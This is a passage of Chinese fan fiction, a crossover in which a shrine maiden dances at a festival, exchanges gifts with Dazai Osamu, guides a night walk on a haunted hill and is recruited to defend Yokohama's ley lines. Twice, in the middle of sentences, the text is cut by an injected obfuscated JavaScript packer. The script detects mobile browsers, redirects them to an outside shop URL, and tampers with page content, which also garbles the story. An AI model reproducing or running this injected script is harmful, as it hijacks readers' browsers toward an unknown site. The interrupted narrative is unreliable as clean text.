来的人比预想的多。,近的居民拖家带口地来了不少,小孩子穿着浴衣跑来跑去,木屐踩在石板上啪嗒啪嗒地响。空气里飘着酱油和砂糖的甜香,混着线香和夏日傍晚草木的气息,闷闷的,暖洋洋的。 我在后殿换衣服的时候,凛和千鹤围着我转了好几圈。 “琉璃酱,你今天好好看!”凛的眼睛亮晶晶的。 “这个腰带再紧一点……好,完美!”千鹤在后面帮我整理衣带,动作利落得像在打包一件易碎品。 我看着铜镜里的自己。 正式的巫女装束比平时复杂得多,白衣绯袴的料子更厚更挺,外面还要罩一件薄如蝉翼的纱衣,腰间的宽带子绣着细密的唐草纹,头发也不能像平时那样随便扎着,而是用白色的檀纸束成马尾,再系上一条红色的发带,发带的尾端垂到腰际。 “紧张吗?”凛佐佐木问。 “有一点。”我说。 之前在战国时代除妖雷厉风行,战争之中没人看我,但今天所有人的目光都聚焦在我身上,难免会有些不自在。 其实不是紧张。是一种沉甸甸的感觉。像是有什么东西压在心口上,不疼,但让人呼吸变浅。 我想到老神官说的“那个东西”。 祈福的舞,需要把灵力融进去,把自己的意志和祈愿变成一种可以被感知的力量,传递给那些看不见的存在。 今晚要祈的福是什么,我没有问老神官。 但我想,大约不是什么宏大的东西。不是什么国泰民安、风调雨顺。大约只是—— 愿此地平安。 愿来者喜乐。 愿那些在黑暗中踽踽独行的人,能在这里找到片刻的光。 * 后院,银杏树下的灯笼全都点亮了,橙红色的光晕在暮色中显得格外温暖。石灯笼旁的青苔被照得绿莹莹的,像铺了一层绒毯,摊位前的客人络绎不绝,捞金鱼的摊子前蹲着好几个小孩,其中一个已经捞破了三张纸网,正在跟摊主撒娇要第四张。 我沿着石板路往后院中央的临时舞台走,绯袴的下摆在脚边轻轻晃动,纱衣在晚风中微微鼓起,像一层薄薄的雾。 有人在看我。 我能感觉到那些目光,好奇的、欣赏的、无所谓的,落在我的身上,像细小的雨点,密密匝匝的。 舞台搭在银杏树的对面,是一块用竹竿和木板临时架起的高台,四角各立着一盏纸灯笼,白色的灯面上用墨笔画着简单的云纹。台上铺着一块崭新的红毡,颜色鲜艳得像刚摘下的柿子。 我脱下木屐,赤足踏上红毡。 我面朝正殿的方向,闭上眼睛。 深吸一口气。再睁开。 音乐从某个看不见的地方响了起来,千鹤负责的太鼓和笛子,鼓点不急不缓,像心跳;笛声悠长清越,像风吹过竹林。 我抬起右手,袖口滑落到小臂,露出白皙的手腕。 舞开始了。 神乐舞的动作不快。每一步都要踩在鼓点上,每一次扬袖都要像风拂过水面,每一个转身都要慢到能让月光在衣袂上停留。 我在战国时代跳过无数次这种舞。 在战火将熄的黎明,在尸骨未寒的荒野,在那些人们需要被安慰却不知向谁祈祷的时刻。 那时候我跳舞,是为了让活着的人相信,还有神明在看。 现在我跳舞,是为了让来到这里的人感受到,这世上还有一种力量,不伤人,不杀生,只是坚定地存在着。 灵力随着舞姿从我的指尖和足尖缓缓流淌出来,像看不见的水,漫过红毡,漫过舞台的边缘,向四面八方扩散。 那些蹲在金鱼摊前的小孩,有一个忽然安静了下来,靠在他母亲的膝头上,眼睛半眯着,像是困了。 那些站在人群后面的老人,有一个轻轻叹了口气,那口气很长很轻,像是把什么压在胸口很久的东西呼了出去。 灵力继续扩散。 穿过人群,穿过银杏树巨大的树冠,穿过后院的围墙,向更深更远的地方去。 然后我感觉到他了。 他的位置太安静了。 所有人都在热闹里,所有人的气息都在灵力拂过时起了某种变化,或放松,或喜悦,或安宁,只有他,像一块石头沉在水底。 不动,不散,不参与。 我闭着眼睛跳舞,但灵力勾勒出的感知画面清晰地浮现在脑海里。 银杏树的东侧,靠近围墙的地方。 太宰治靠在树干上,一只脚微微曲起,踩在树根上,双臂交叉在胸前,风衣的领子竖起来,遮住了半张脸。 他的呼吸很浅,很稳,像是一个人在黑暗中呆了很久之后学会的那种呼吸,不浪费多余的气息,不发出多余的声音。 但他的身上有一种灰色的像是雾又像是烟的东西,缠绕在他的肩膀和胸口,缓慢地翻涌着,像一只蜷缩着的半睡半醒的兽。 那东西在他呼吸的时候微微起伏,在他眨眼的时候短暂地凝滞,像是有自己的生命。 我的灵力触碰到了那层灰色的雾,灵力变得更柔和,更像清晨的露,一点一点地渗进那层灰色的雾里。 灰色的雾缓慢地散开了一些,但很快又聚拢了,像是本能地拒绝被触碰,被窥探,被了解。 这时候,太宰开口了。 他的声音非常小,站在他身边的人都不可能听见。 但我能听见。 因为我的灵力在那一刻和他之间建立起了一条看不见的线,像是两片叶子被同一根蛛丝连在了一起。 “月光如水,巫女如画……” 太宰治声音拖得很长,语调懒洋洋的,带着一种故意模仿祭文的、装腔作势的庄重:“……不如共饮毒酒,携手赴黄泉~” 他似乎知道我在感知他,嘴角弯起来了。 那层灰色的雾在他开口的那一瞬间晃动了一下,像是水面被风吹皱,涟漪一圈一圈地荡开。 我的舞步丝毫未乱,左腕翻转,袖口在空中划出一道弧线,右脚后退半步,重心下沉,身体微微后仰,然后转身。 在转身的那一瞬间,纱衣飘起来,遮住了我的右手。 我的右手在袖中做了一个手势。 我在战国时代用这一招对付过无数试图附身的恶灵,用纯粹的、没有杂质的灵力,把不属于这个人的东西,轻轻地、但不容拒绝地推开。 我扬袖。 纱衣在空中展开,像一片薄薄的云。 灵力的针从我指尖飞出,穿过灯火,穿过人群,穿过银杏树垂下的枝条。 精准地刺向他胸口那团灰色的雾。 太宰治微微一僵。 那根针触碰到了灰雾的核心,像盛夏的正午,一滴冰水突然落在眉心,顺着鼻梁缓缓滑下来。 灰雾剧烈地颤动了一下,像是被什么东西从内部撕开了一道口子。那道口子很小,但足够让灵力从裂缝里渗进去,像水渗进干裂的土地。 太宰治感觉到了一阵奇异的清明。 像是蒙在眼睛上的某层薄纱被揭掉了,世界忽然变得比刚才更亮,更清楚,灯笼的光不再是模糊的一团,而是能看清每一盏灯里火焰的形状。远处捞金鱼的小孩的笑声不再是嘈杂的背景,而是能分辨出哪一个小孩在笑,哪一个小孩在哭。风从银杏树的叶隙间穿过的声音,变得格外清晰,像有人在很远的地方吹着口哨。 他的头脑从来没有这样清醒过。 清醒得有些不习惯。 他不喜欢太清醒。 清醒意味着要想,要记,要面对那些他宁愿用灰雾盖住的东西。 他眨了眨眼,抬手摸了摸自己的额头。那里什么也没有,但他觉得好像有什么东西在那里停留过,留下了一个透明的、看不见的印记。 他看向舞台上。 巫女正在旋转,纱衣和绯袴同时展开,像一朵巨大的白色的花在月光下盛开。她的脸在灯火中忽明忽暗,表情肃穆而遥远,像一尊活在另一个世界的神像。 她知道他在看她。 她知道他念了那句歪诗。 太宰治笑了,趁着巫女和他恰好四目相对时,他用口型,一字一顿地说:“反——击?” 舞台上的巫女没有回应,但她的右手在扬袖的瞬间,微微顿了一下,然后继续舞。 * 舞在鼓点的最后一声敲击中结束了。 我保持着最后一个姿势,右手向天,左手垂地,面朝正殿的方向,让灵力慢慢地、像退潮一样收回体内。 掌声响起来了。 我放下手臂,向正殿的方向深深鞠了一躬,再向观众的方向微微欠身。 我走下舞台,凛拿着我的木屐在台阶下面等我,表情夸张地夸了一长串。 “你去换衣服吧,”千鹤说,“后面的事我们收拾就行。” 我点点头,往后殿走。 经过银杏树的时候,我没有往那个方向看。 但我能感觉到太宰治的目光。 像一根看不见的线,从树下的阴影里伸出来,轻轻地、试探性地触碰了一下我的后背。 我没有停下脚步。 后殿里很安静,只有我一个人。 我把纱衣解下来,叠好,放在托盘上,绯袴和白衣也一件一件地脱下来,换上平时穿的那套旧巫女服。 镜子里的我又变回了铃鹿琉璃。 我坐在榻榻米上,喝了两口水,对着镜子整理了一下头发。红色的发带解下来之后,头发散在肩上,被汗水打湿了几缕,贴在脸侧。 休息了大概一刻钟,我站起来,推开后殿的门。 祭典还在继续。 灯笼的光比刚才更亮了,因为天已经完全黑透了。银杏树下围了一圈人,不知道在看什么热闹。空气里的甜香更浓了,大概是烤团子的摊子又刷了一层酱油。 我往后院中央走,想去找凛拿我的布包。 然后我看见了太宰治蹲在地上。 周围围了一圈小孩,大的七八岁,小的三四岁,全都蹲在他旁边,眼睛瞪得圆圆的,像一排排被什么神奇的东西吸引住的小猫头鹰。 他正在表演魔术。 说是魔术,其实拙劣得让人想捂脸。 他用绷带把自己的两只手缠在一起,打了个结,然后让一个小孩用硬币在结上敲三下。敲完之后,他把手从绷带里抽出来,绷带的结纹丝不动,但他的一只手就这么“穿”过了绷带,像变戏法一样。 “哇!!!”小孩们齐声惊叹。 “再来一次!再来一次!”另一个小孩跳着脚喊。 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“好吧,我看到了,”他笑了,“跳得真好。我都差点想跟你一起跳了。” “你会跳神乐舞?” “不会。但我可以现场编一个。”他歪了歪头,“叫什么来着……‘殉情之舞’?” 孩子们听不懂“殉情”是什么意思,还在眼巴巴地等着他继续变魔术,但有一个稍微大一点的女孩拉了拉他的袖子:“大哥哥,你说的是不是那个……两个人一起死的意思?” 太宰治的表情僵了一瞬。 “不是不是,”他赶紧摆手,“大哥哥说的是‘友情’!对,友情之舞!就是跟好朋友一起跳的舞!” 小女孩狐疑地看着他,显然没有完全相信。 我在旁边无声地叹了口气,走了过去。 这时候,太宰治把手伸进风衣口袋里,掏了半天,掏出一块苹果糖。 “战利品!”他把苹果糖举高了一些,“刚才跟小朋友们比赛捞金鱼赢的。反正赢来了,分你一半?” 孩子们的目光齐刷刷地从苹果糖上移到了我身上。 我被七八双圆溜溜的眼睛盯得有些不自在。 我一个扎双马尾的小女孩开口了:“姐姐你就吃嘛,大哥哥好不容易赢来的。” “对对对,”旁边的小男孩附和,“他刚才差点把金鱼网戳破了才捞到这个的——” “那是魔术的道具,”太宰治纠正道,“不是金鱼网。” “你明明就是从金鱼摊借的网!” “……小孩子不要记得这么清楚。” 我没有接苹果糖。而是把手伸进袖子里,摸到了那一小串五色绳编的手链。 手链是很早之前编的。用的是神社里祈福用的五色绳——青、赤、黄、白、黑,分别对应木、火、土、金、水。绳结打的是“轮结”,一圈扣一圈,寓意循环往复、生生不息,手链上缀着三颗极小的银铃铛,但铃铛里面塞了一点点棉絮,不会响。 我原本是编来自己戴的。 但编好之后,在手里翻来覆去地看了几遍,觉得颜色太鲜艳了,和自己的巫女服不太搭,就搁在了抽屉里。 今天傍晚换衣服的时候,不知道为什么,又把它翻出来了,塞进了袖子里。 趁太宰治还没反应过来,我伸手,把五色绳手链系在了他没缠绷带的那只手腕上。 太宰治的手腕很细,五色绳绕了两圈,刚好卡在腕骨的上方,不会滑脱,也不会勒得太紧,银铃铛垂下来,碰到他的手背,发出细微的沙沙声 他愣住了,目光从自己的手腕上缓缓抬起来,落在我脸上。 鸢色的眼睛里满是困惑。 “就当是你送我苹果糖的回礼,”我接过太宰治掌心的苹果糖,撕开包装扔进嘴里。 我补充道:“防止某些人身上的‘厌气’吸引不好的东西,连累我们神社的风水。” 太宰治没有说话。 他低头看着手腕上那条色彩鲜艳的、和他一身沙色衣极不相称的手链。 五色绳在灯笼的光线下泛着柔和的光泽,青的像夏日的草,赤的像熟透的柿,黄的像银杏的叶,白的像清晨的霜,黑的像深夜的河。 绳结打得很结实,每一个结都收得紧紧的,不会松,不会散。 绳子用了五种颜色,每一种都对应一种自然之力,合在一起就是一个小型的、微型的结界。 绳结是“轮结”,不会轻易解开,也不会轻易断掉。 太宰治把手腕翻过来,对着灯笼的光看了看那条手链,然后轻声说了一句:“这是……让我永葆童心?” 我转身往金鱼摊的方向走,不看他:“是祝福你活到能笑出来的那一天。” 我走到了金鱼摊前,蹲下来,从摊主手里接过一张纸网,开始捞金鱼。 纸网很薄,浸在水里就软了,红色的金鱼甩着尾巴从网边溜过去,溅起的水花落在手背上,凉丝丝的。 身后传来小孩们的喧闹声——“大哥哥你再来一次嘛!”“刚才那个怎么变的?”“大哥哥你手上的绳子好好看!” 太宰治的声音混在其中,轻飘飘的,带着笑:“这个啊?是巫女姐姐送我的限制。” “才不是限制呢!是祝福!”那个双马尾的小女孩大声纠正他。 “你怎么知道是祝福?” “因为巫女姐姐说的呀!她说‘祝福你’!” 太宰治沉默了一瞬。 他笑了。 那个笑声很轻,混在祭典的喧嚣里,几乎听不见。 但我听见了。 因为我的灵力还没有完全收回去,还有一些细细的、像蛛丝一样的线,从我的身体里伸出来,散落在周围的空间里,偶尔会捕捉到什么。 我听见太宰治笑声里有一种陌生的东西,像是很久很久没有被人碰过的人,忽然被轻轻地抱了一下,他不知道该怎么反应。 只好笑。 我的纸网破了。 第三条了。 我蹲在金鱼摊前,看着那张破掉的纸网慢慢地沉到水底,红色的金鱼从它上面游过去,尾巴扇起细小的水流。 “老板,再来一张。” 13. 来横滨的第十三天 祭典的喧嚣在银杏树下持续发酵,灯笼的光晕将每个人的笑脸都染上一层温暖的橘红。 我蹲在金鱼摊前,已经捞破了第五张纸网,红色的金鱼在盆里悠闲地摆尾,仿佛在嘲笑我的笨拙。 “琉璃小姐。”身后传来一个肃穆的声音。 我回过头,看见老神官站在银杏树下,手里端着一杯清酒。 我放下纸网,起身走过去。 “怎么了?” “后山,”老神官压低声音,浑浊的眼睛里难得有几分认真的光,“今晚不太平。” 我微微一怔,灵力下意识地向外延伸了一瞬。果然,从后山的方向传来一股不同于白天平和的波动,不是恶意,但确实在涌动,像是什么东西被夏夜的暑气和祭典的热闹从沉睡中轻轻唤醒。 “是那处遗迹?”我问。 老神官点点头。 神社后山有一处战国时代的遗迹,平日里灵力平和,但每到夏日夜晚,尤其是像今天这样有祭典、有人气、有灯火的时候,就容易吸引游魂。那些本应在历史长河中消散的微弱意识,会被生者的热闹吸引,像飞蛾扑火一样,从山林深处飘出来。 我:“数量多吗?” “不多,”老神官说,“但也不算少,都是些没有恶意的,只是想看看热闹,凑近了沾沾人气。但要是放任不管,有些胆子大的可能会溜到祭典这边来。小孩子看见了会吓到。” 我明白了:“要我去处理?” “不用处理,”老神官摆了摆手,“赶走就行,温和地赶。它们也不容易。” 他喝了一口酒,咂咂嘴:“我寻思着,干脆弄个临时活动——‘试胆大会’。年轻人不是都喜欢这种吗?既满足了探险的念头,又能让专业人员沿途把游魂安抚回去。一举两得。” 我:“……您是想让我带队?” “不光你一个人,”老神官说着,目光越过我的肩膀,看向银杏树的另一侧,“那边不是来了不少人吗?” 我顺着他的视线看过去。 武装侦探社的人不知道什么时候已经到齐了。除了太宰治,我还看到了几张熟悉的面孔——国木田独步站在套圈圈的摊位前,一本正经地研究着奖品摆放的规律,手里还拿着那个从不离身的笔记本,似乎在做记录。他旁边站着两个更年轻的,一个银灰色头发、穿着白衬衫背带的少年,神情有些紧张,怀里抱着一只猫,还有一个穿着红色和服的小女孩,面无表情地站在少年身边,手里拿着一串烤团子,小口小口地吃着。 宫泽贤治正蹲在捞金鱼的摊位前,袖子卷得高高的,全神贯注地盯着水里的金鱼,嘴里念念有词:“不急不急……慢慢来……” “社长说让他们来体验传统文化,”老神官笑眯眯地说,“体验完传统文化,再体验一下咱们后山的‘传统文化’,不是挺好吗?” 太宰治笑眯眯地冲我挥了挥手。 我抿了抿唇:“好,我去跟他们说。” * 我和武装侦探社的人分别介绍了自己。 “试胆大会?” 国木田独步推了推眼镜,目光在我和老神官之间来回扫了几遍,然后翻开笔记本,飞快地写了几行字。 “后山战国遗迹,游魂出没,需要灵能力者沿途安抚……”他念着我刚才说的情况,眉头越皱越紧,“听起来有一定的危险性。” “没有危险,”我解释,“那些游魂很温和,只是好奇。有我在,它们不会靠近人。而且我会在每个组里安排一个灵能力者。” “灵能力者?”银色头发的少年中岛敦从国木田身后探出头来,怀里那只白色大猫正用尾巴卷着他的手腕,看起来比他本人还放松,“是说琉璃小姐会和我们一起吗?” “会分组,”我说,“每组配一名灵能力者和一名侦探社人员。” 我扫过侦探社众人。 太宰治靠在银杏树上,双手插在风衣口袋里,笑眯眯地看着这边,一言不发。他的手腕上,那条五色绳手链在灯笼的光线下格外显眼,青赤黄白黑的绳结绕了两圈,三颗哑铃铛安静地垂着。 他没有摘下来。 我的目光在手链上停留了不到半秒,然后若无其事地移开了。 “所以分组怎么分?”国木田问。 “抽签,”我从袖子里拿出一个小竹筒,里面装着几根叠好的纸条,“公平公正。” 我把签筒递出去。 第一个抽的是国木田。他打开纸条看了一眼,念道:“第二组。灵能力者——神职学员B,侦探社成员——宫泽贤治。” 宫泽贤治在旁边开心地举手:“国木田先生,我们一起!” 第二个抽的是中岛敦。他小心翼翼地展开纸条:“第一组。灵能力者——神职学员A,侦探社成员——我和镜花酱……” 他看了一眼旁边面无表情的小女孩,声音越来越小:“镜花酱,我们会没事的吧?” “嗯,”泉镜花把最后一口团子咽下去,平静地说,“我会保护你的。” 中岛敦的表情更紧张了。 第三个抽的是太宰治。他没有像其他人那样伸手进签筒,而是用两根修长的手指从筒口拈起一根纸条。 纸条展开。 他看着上面的字,沉默了一秒。 然后他笑了。 “第三组,”他念道,“灵能力者——铃鹿琉璃,侦探社成员——太宰治。” 他顿了顿,抬起眼睛看我:“没有其他人。” “……” 我下意识地看了一眼签筒区确认。 这个签是老神官准备的,说好了每组都有三个人,怎么到我这儿就成两个人了? 我总觉得事情不太对劲,但又说不上来。 “那就这样吧,”我点头,“第三组走最远的路线,负责检查遗迹最深处的状况,前两组走短路线,沿途安抚游魂即可。一个小时后在这里集合。” “最远的路线,”太宰治把纸条折了两折,塞进风衣口袋里,“那岂不是可以和琉璃小姐多待一会儿?” 我没有接话,转身去准备提灯和符纸。 身后传来国木田压低的声音:“太宰,你正经一点,这是工作。” “我很正经啊,国木田君。” * 后山的入口在神社的西北角,从后院绕过那棵银杏树,穿过一道低矮的红色鸟居,就踏上了通往山林的小径。 提灯的光在脚下晃出一小圈暖黄色的光斑,勉强照亮前方两三步的路。更深处的黑暗像一堵墙,安静耐心地等待着,等灯光再靠近一些,才缓缓退开,让出一条窄窄的土路。 夏夜的山林气息扑面而来,潮湿的泥土味,蕨类植物在暗处舒展叶片时散发的清苦气息,以及远处隐约传来的不知名的白色花朵的甜香。虫鸣声从四面八方涌来,密密匝匝的,像一张看不见的网,把整个后山罩在里面。 我走在前面的小径上,提灯提在左手,右手偶尔抬起来,指尖轻轻一弹,一道微弱的灵力飞出去,落在前方的某棵树干上或某块石头后面,然后无声地散开。 那里如果有什么东西,就会被这股温柔的灵力轻轻拂过,像被一阵暖风推了一把,不快不慢地往山林深处退去。 太宰治跟在我身后半步远的地方,保持着一种微妙的距离,不会让我觉得被尾随,也不会让我觉得他不在。他的脚步声很轻,踩在落叶和碎石上几乎听不见,但我能感觉到他的存在,像一片影子安静地贴在我的左后方。 他今天难得没有说奇怪的话。 从我递给他提灯、说“你拿这个,我走前面”开始,他就只是点了点头,接过去,跟上来,一路上除了偶尔提醒我“前面有个树根”或者“左边有个坑”,几乎没有多余的声音。 这种安静让我有些不习惯。 我偷偷侧头看了他一眼。 提灯的光从下方照着他的脸,勾勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471693|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出下颌和颧骨的线条,鸢色的眼睛在灯光的映照下显得格外深邃,像是两口被照亮的井,能看到水面,看不到水底,他的表情很平和,不是平时那种故意挂在脸上的、嬉皮笑脸的平和,而是一种真正的从内到外的安静,像是在这片山林里,那些需要时刻扮演的角色终于可以卸下来一会儿。 他注意到我在看他,微微歪了歪头:“怎么了?” “没什么,”我转回去,“只是觉得你今天话少。” “因为琉璃小姐在工作啊,”他说,声音比平时温柔,“我要是说太多奇怪的话,打扰到你安抚那些东西,就不好了。” 我们继续往前走。 小径在山腰处拐了一个弯,地势变得平缓了一些,两旁的树木从密不透风的杂木林变成了较为开阔的松树林,树冠在高处交错,月光从缝隙间漏下来,在地上投下一片片斑驳的银色。 小径尽头,一座古老的石灯笼静静地立在路边。 它大概有半人高,石面上覆着厚厚的青苔,青苔在月光下泛出一种幽幽的绿,灯笼的顶部缺了一角,被风雨侵蚀的痕迹清晰可见,但整体结构依然稳固,像是有什么力量在支撑着它,让它不至于在漫长的岁月中坍塌。 我停下脚步。 灵力在指尖微微发烫。 “这里……”我走近石灯笼,伸手轻轻触碰它冰凉的石面。 在指尖接触到石头的那一瞬间,有什么东西从石灯笼的深处涌了出来。很柔软的,几乎让人想落泪的情绪。 像是有人站在漫长的时光尽头,一直望着某个方向,眼睛都不肯眨一下。 “曾经有人长久地等待过谁,”我说,声音不自觉地放轻了,像是在跟那团柔软的情绪说话,怕惊扰了它,“思念沉淀成了地缚灵,但很温和,只是舍不得离开。” 我的灵力像水一样漫过去,把那团柔软的情绪轻轻包裹住。它在我灵力的怀抱中颤动了一下,慢慢地、信任地舒展开来。 不是所有的游魂都需要被驱散。 有些只是需要被看见。 太宰治靠在旁边的枫树上,提灯放在脚边,双手插在口袋里,月光透过松树的枝叶落在他的肩头,把他半边脸照得发白,另半边藏在阴影里。 他看着那只石灯笼,看了很久。 “等待啊……”他轻声开口,“最无意义的行为了,等的人不会来,来的不是等的人。” 我回头看他。 月光透过树叶的缝隙,斑驳地落在我的脸上,我能感觉到那些光斑在随着风轻轻晃动。 “是吗?”我说。 太宰治的目光从石灯笼上移开,落在我的脸上。 “可我觉得,正是因为有‘等待’的可能,人才会继续往前走。” 我看着他,说得很认真:“就像我,涅槃重生来了横滨,虽然过程很痛苦,很多时候都在想‘为什么要醒过来’、‘为什么要活下来’……但现在,我遇到了大家。” “老神官、凛、千鹤,还有在神社工作的其他同事;今天还结识了武装侦探社的各位,贤治君、国木田先生、敦君、镜花酱……”我摆着手指头一个个地数,“所以我觉得,那些等待的日子,不是没有意义的。” 山林安静了一瞬,虫鸣声停了,只有风从松林间穿过,发出低沉的声响。 太宰治没有说话。 他靠在枫树上,月光落在他脸上,那双鸢色的眼睛在看着我,但又像是没有在看我,而是透过我,看着某个更远的地方,或者某个更早的时间。 他的睫毛微微颤动了一下。 然后他移开了目光,低头看着脚边的提灯。灯光从下往上照着他的脸,我忽然发现他的表情和平时不一样,没有笑,也没有故意做出来的轻浮,而是一种近乎脆弱的、不知道该摆出什么表情的空白。 “琉璃小姐总是说这种话……”太宰治的声音很低,低到像是说给自己听的,“让人没办法继续消沉下去呢。” 14. 来横滨的第十四天 祭典结束后的第三天,横滨的天空一直没有放晴。 云层低低地压在城市上空,灰蒙蒙的,空气里弥漫着一股说不清的沉闷,像是有什么东西堵在胸口,深呼吸也到不了底。 神社的香客比平时少了很多。佐佐木凛说,山脚下的便利店老板告诉她,最近横滨到处都在发生怪事。 港未来一带有人走着走着突然飘了起来,吓得路人报了警,警察到了之后又恢复了正常;中华街的植物一夜之间疯长了三米,把整面墙都爬满了,第二天又全部枯萎,留下一墙焦黑的藤蔓;更诡异的是,有几个街区接连发生了恶性斗殴事件,起因都是鸡毛蒜皮的小事,但当事人像是被什么东西点燃了心底最暴戾的那根弦,下手完全不计后果。 “不是普通的事件,”我在社务所听完凛的转述,放下手里的朱印帐,“是地脉的问题。” 凛眨了眨眼:“地脉?” “横滨地下有龙脉,”我的手在桌上画了一下龙脉的形状,“像血管一样分布在整个城市下面,支撑着地气、灵力,甚至部分区域的物理法则。如果龙脉被扰动,就会出现你说的那些现象,重力异常、植物异变、人心失衡。” 凛的表情变得凝重,她在神社工作了好几年,对这些概念并不陌生,但“横滨地下的龙脉被扰动”这件事的严重性,她显然还没有完全意识到。 我也不想吓她。 但事实是,我的灵力感知从昨晚开始就一直处于一种不安定的状态,像一根绷得太紧的弦,随时可能断掉。源头不在神社内部,而在更远的地方,地下深处,横滨的龙脉主干上,有什么东西正在缓慢地发生变化。 我没来得及深究。 因为第二天一早,异能特务科的消息就传到了神社。 消息是通过福泽谕吉转达的。 武装侦探社社长亲自来了一趟神社,穿着深色的和服,腰佩太刀,神情比平时更加冷峻,他没有进社务所,而是站在鸟居下面,像一柄插在雨中的刀。 “琉璃小姐,”他的声音低沉平稳,“我需要你作为灵性层面的顾问,参与一场联合行动。” 我:“什么行动?” “横滨地下的龙脉正在被系统性破坏。”福泽谕吉说,“策划者是‘死屋之鼠’残党与一个新兴邪教组织‘葬神会’的勾结势力。他们的目标不是‘书’,而是横滨本身。” 我站在鸟居的另一侧,雨水从檐角滴下来,在石板路上砸出细密的水花。 福泽谕吉:“葬神会的首领,异能名为「地脉绘卷」,能以牺牲大量生命为代价,短暂绘制并扭曲地脉的走向,“他们计划在多个龙脉节点同时举行血祭仪式,切断横滨的地脉循环,引发大规模地陷与灵灾。用他们的话说——‘埋葬旧神,迎接新生’。” 他顿了顿。 “旧神,指的是现有的秩序,他们想要的不是占领,他们想要的是毁灭本身。” 鸟居外面的天色灰蒙蒙的,云层低得像是要压到屋顶上。远处传来隐约的雷声,闷闷的,像是地底下有什么东西在回应。 “他们已经开始行动了?”我问。 “已经开始了。” 福泽谕吉从袖中取出一张折叠的地图,展开,铺在鸟居旁边的石灯笼上。地图上标注着横滨地下的龙脉分布。 这是我第一次看到如此精确的灵脉地图,每一条支脉、每一个节点都标注得清清楚楚,有些位置还用红笔圈了出来。 “目前确认受到攻击的节点有七个,”他用手指在地图上点了七处,“分别位于港未来、元町、中华街、山手、鹤见川上游、野毛山,以及这里。” 他的手指停在了地图上的一个位置。 竹之宫神社。 “神社本身就是一个小型龙脉节点,”他说,“葬神会已经注意到了这一点。预计在未来二十四小时内,神社也会成为攻击目标之一。” 我的手指收紧了。 “武装侦探社和港口□□已经受命于特务科,组成临时联合指挥部, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471694|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”福泽谕吉收起地图,目光落在我脸上,“分头前往各个节点镇压破坏仪式。但我们需要一个人,能够感知地脉变化、理解灵性层面损伤、并具备修复能力的人。” “所以你们来找我。” 福泽谕吉的语气很直接,“横滨的灵能力者不多,能在这种规模的灵灾中保持稳定、精准地完成节点修复的,据我所知,只有琉璃小姐你一个。” 我没有推辞。 每多犹豫一秒,地下的龙脉就可能多断一根,那些什么都不知道的普通人就可能多遭遇一次重力失控、一次植物异变、一次莫名其妙的暴怒。 “我需要做什么?”我问。 “先跟我去指挥中心。特务科已经将情报整合完毕,具体的行动方案会在联合会议上敲定。你的任务是,在灵性层面,告诉我们地脉的真实状况。地图和数据只能反映‘发生了什么’,只有你能告诉我们‘正在发生什么’。” 我点了点头,转身回社务所换了干衣服,拿了弓和箭囊,佐佐木澪凛站在门口,眼圈有些红,但没有拦我。千鹤在后面默默地往我包里塞了几个饭团和一壶热茶。 老神官靠在廊柱上,看着我,只说了一句话:“无论发生什么情况,要以自己的生命为先。” 我把箭囊背在身后点点头:“好。” 自从上次从战国时代涅槃到这里之后,我很久没有如此沉重的感觉了,肩膀上肩负着守护什么的重要使命,神经紧绷,随时准备战斗。 我和福泽谕吉走出鸟居的时候,雨停了。 云层依然很低,但天光比刚才亮了一些,灰白色的光从云隙间漏下来,落在湿漉漉的参道上,泛着冷冷的银光。 福泽谕吉走在前面,步伐沉稳,和服的下摆扫过石阶上的积水。我跟在他身后半步,绯袴的下摆沾上了泥水,沉甸甸的,但我没有低头去看。 横滨的地下,龙脉正在被撕裂。 而我脚下的这条路,通往的不是某个具体的战场,而是整座城市。 15. 来横滨的第十五天 福泽谕吉走在我前面,步伐不快不慢,和服的下摆在风中微微翻动。他没有说话,我也没有说话,各自想着各自的事情。 风飘在脸上,带着夏夜特有的闷热和一种说不清的焦躁的气息。 “琉璃小姐,”福泽谕吉忽然开口。 “是。” “乱步在龙脉有异后单独找过我。” 我看了他一眼:“江户川乱步先生?” 我来横滨时间虽然短,但对这位名侦探先生有所耳闻,他破案不需要取证,仅凭借超推理就能在一分钟之内锁定凶手。 而且据宫泽贤治说,乱步先生并非异能力者,而是天生的聪明,轻而易举看透一切本质。 福泽谕吉转述江户川乱步的话:“他说,‘那个巫女小姐不会老老实实待在后方,与其让她自己乱跑,不如给她一个明确的位置。’” “乱步先生说得对,”我点点头,“我不会待在后方。” 福泽谕吉微微侧过头,看了我一眼。 “那你就去国木田那边,”他说,“B-7区域,废弃工厂,那里的节点异常最严重,灵力污染浓度最高,普通异能者应付起来很吃力。你的净化能力在那里能发挥最大作用。” “好。” 我们在街口分开。 他往东边去了,那边是港口□□负责的区域。我往西边走了几步,忽然停下来,回头看了一眼他的背影。深色和服在夜色中几乎融进了背景里,只有腰侧那柄太刀的刀鞘偶尔反射一下远处街灯的光。 他没有回头。 我转过身,加快了脚步。 B-7区域在城市西侧,靠近鹤见川上游的工业区,这一带原本就人烟稀少,街道两旁是老旧的仓库和废弃的厂房,墙面上爬满了枯萎的藤蔓。那些藤蔓在几天前还是鲜活的绿色,现在却像是被什么东西抽干了所有的水分,干枯、发黑、扭曲地缠绕在生锈的铁架上,在夜风中发出细碎的摩擦声,像无数根手指在抓挠着墙壁。 